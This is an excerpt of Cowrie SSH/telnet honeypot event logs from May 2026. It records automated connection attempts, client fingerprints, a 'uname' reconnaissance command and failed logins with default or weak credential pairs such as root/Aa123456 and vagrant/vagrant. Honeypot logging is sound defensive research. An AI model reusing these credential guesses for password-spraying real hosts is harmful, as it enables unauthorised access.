{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:27.529338Z","src_ip":"45.153.34.112","session":"820ccc6acc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:27.532779Z","src_ip":"45.153.34.112","session":"820ccc6acc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:27.645602Z","src_ip":"45.153.34.112","session":"820ccc6acc5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:27.653230Z","src_ip":"45.153.34.112","session":"820ccc6acc5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35894,"dst_ip":"10.17.0.5","dst_port":23,"session":"15d05fb35d39","protocol":"telnet","message":"New connection: 192.119.13.58:35894 (10.17.0.5:23) [session: 15d05fb35d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:27.874187Z"}
{"eventid":"cowrie.session.closed","duration":46.22285223007202,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:29.700596Z","src_ip":"192.119.13.58","session":"e9b1f994facc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44298,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e6fb39c7fb2","protocol":"ssh","message":"New connection: 45.153.34.112:44298 (10.17.0.5:22) [session: 1e6fb39c7fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:30.615057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:30.619661Z","src_ip":"45.153.34.112","session":"1e6fb39c7fb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:30.701724Z","src_ip":"45.153.34.112","session":"1e6fb39c7fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:30.946687Z","src_ip":"45.153.34.112","session":"1e6fb39c7fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.10701942443848,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:31.447549Z","src_ip":"192.119.13.58","session":"276461e9aaac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:32.209193Z","src_ip":"45.153.34.112","session":"1e6fb39c7fb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44312,"dst_ip":"10.17.0.5","dst_port":22,"session":"1522845b2551","protocol":"ssh","message":"New connection: 45.153.34.112:44312 (10.17.0.5:22) [session: 1522845b2551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:34.125244Z"}
{"eventid":"cowrie.session.closed","duration":43.86910629272461,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:34.156633Z","src_ip":"192.119.13.58","session":"dc47d1de6e59","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:34.181444Z","src_ip":"45.153.34.112","session":"1522845b2551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36986,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91aedb6c601","protocol":"telnet","message":"New connection: 192.119.13.58:36986 (10.17.0.5:23) [session: f91aedb6c601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:34.266425Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:34.405552Z","src_ip":"45.153.34.112","session":"1522845b2551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:34.807178Z","src_ip":"45.153.34.112","session":"1522845b2551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":26209,"dst_ip":"10.17.0.5","dst_port":22,"session":"98a26d716edc","protocol":"ssh","message":"New connection: 45.66.52.41:26209 (10.17.0.5:22) [session: 98a26d716edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:35.956259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:35.961897Z","src_ip":"45.66.52.41","session":"98a26d716edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:36.020423Z","src_ip":"45.153.34.112","session":"1522845b2551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:36.137966Z","src_ip":"45.66.52.41","session":"98a26d716edc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shirley","message":"login attempt [root/shirley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:36.939124Z","src_ip":"45.66.52.41","session":"98a26d716edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":44328,"dst_ip":"10.17.0.5","dst_port":22,"session":"d45eb48b7f7a","protocol":"ssh","message":"New connection: 45.153.34.112:44328 (10.17.0.5:22) [session: d45eb48b7f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:37.862944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:37.990584Z","src_ip":"45.153.34.112","session":"d45eb48b7f7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:37.995409Z","src_ip":"45.153.34.112","session":"d45eb48b7f7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:38.129994Z","src_ip":"45.66.52.41","session":"98a26d716edc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:38.377118Z","src_ip":"45.153.34.112","session":"d45eb48b7f7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.62122654914856,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:39.382002Z","src_ip":"192.119.13.58","session":"d25f7e946984","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:39.692401Z","src_ip":"45.153.34.112","session":"d45eb48b7f7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49922,"dst_ip":"10.17.0.5","dst_port":22,"session":"6351d06dd8ec","protocol":"ssh","message":"New connection: 45.153.34.112:49922 (10.17.0.5:22) [session: 6351d06dd8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:41.688662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:41.845606Z","src_ip":"45.153.34.112","session":"6351d06dd8ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:41.852105Z","src_ip":"45.153.34.112","session":"6351d06dd8ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:42.202731Z","src_ip":"45.153.34.112","session":"6351d06dd8ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:43.441663Z","src_ip":"45.153.34.112","session":"6351d06dd8ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49932,"dst_ip":"10.17.0.5","dst_port":22,"session":"422bfe796ac8","protocol":"ssh","message":"New connection: 45.153.34.112:49932 (10.17.0.5:22) [session: 422bfe796ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:45.356523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:45.361215Z","src_ip":"45.153.34.112","session":"422bfe796ac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.13383412361145,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:45.388542Z","src_ip":"192.119.13.58","session":"e7692a14238b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:45.546471Z","src_ip":"45.153.34.112","session":"422bfe796ac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":47860,"dst_ip":"10.17.0.5","dst_port":22,"session":"deb983166b7d","protocol":"ssh","message":"New connection: 170.238.160.191:47860 (10.17.0.5:22) [session: deb983166b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:45.868906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:45.873249Z","src_ip":"170.238.160.191","session":"deb983166b7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.70931839942932,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:45.922002Z","src_ip":"192.119.13.58","session":"9d765bc8c5c3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:45.939445Z","src_ip":"45.153.34.112","session":"422bfe796ac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:45.984117Z","src_ip":"170.238.160.191","session":"deb983166b7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shirley","message":"login attempt [root/shirley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:46.458578Z","src_ip":"170.238.160.191","session":"deb983166b7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:47.026512Z","src_ip":"45.153.34.112","session":"422bfe796ac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:47.572903Z","src_ip":"170.238.160.191","session":"deb983166b7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.84561085700989,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:47.914327Z","src_ip":"192.119.13.58","session":"efbd5d1a3919","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43922,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d253ef8e9ff","protocol":"telnet","message":"New connection: 192.119.13.58:43922 (10.17.0.5:23) [session: 5d253ef8e9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:48.054657Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49944,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f82bacdeb85","protocol":"ssh","message":"New connection: 45.153.34.112:49944 (10.17.0.5:22) [session: 0f82bacdeb85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:22:49.141678Z"}
